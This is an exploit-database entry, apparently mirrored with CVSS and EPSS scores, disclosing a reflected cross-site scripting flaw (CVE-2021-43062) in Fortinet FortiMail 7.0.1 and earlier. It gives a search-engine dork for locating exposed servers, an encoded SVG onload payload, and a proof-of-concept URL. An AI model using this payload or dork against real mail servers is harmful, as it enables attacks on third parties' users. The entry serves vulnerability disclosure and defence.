Fortinet Fortimail 7.0.1 - Reflected Cross-Site Scripting (XSS)

2022-02-1800:00:00

Braiant Giraldo Villa

www.exploit-db.com

245

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.3 Medium

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

77.7%

JSON

# Exploit Title: Fortinet Fortimail 7.0.1 - Reflected Cross-Site Scripting (XSS)
# Google Dork: inurl:/fmlurlsvc/
# Date: 01-Feb-2022
# Exploit Author: Braiant Giraldo Villa
# Contact: @iron_fortress (Twitter)
# Vendor Homepage: https://www.fortinet.com/products/email-security
# Software Link: https://fortimail.fortidemo.com/m/webmail/ (Vendor Demo Online)
# Version: 
#	FortiMail version 7.0.1 and below
#	FortiMail version 6.4.5 and below
#	FortiMail version 6.2.7 and below
# CVE: CVE-2021-43062 (https://www.fortiguard.com/psirt/FG-IR-21-185)


1. Description:
An improper neutralization of input during web page generation vulnerability ('Cross-site Scripting') [CWE-79] in FortiMail may allow an unauthenticated attacker to perform an XSS attack via crafted HTTP GET requests to the FortiGuard URI protection service.

2. Payload: https%3A%2F%google.com%3CSvg%2Fonload%3Dalert(1)%3E
3. Proof of Concept:
https://mydomain.com/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com%3CSvg%2Fonload%3Dalert(1)%3E

4. References
https://www.fortiguard.com/psirt/FG-IR-21-185
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43062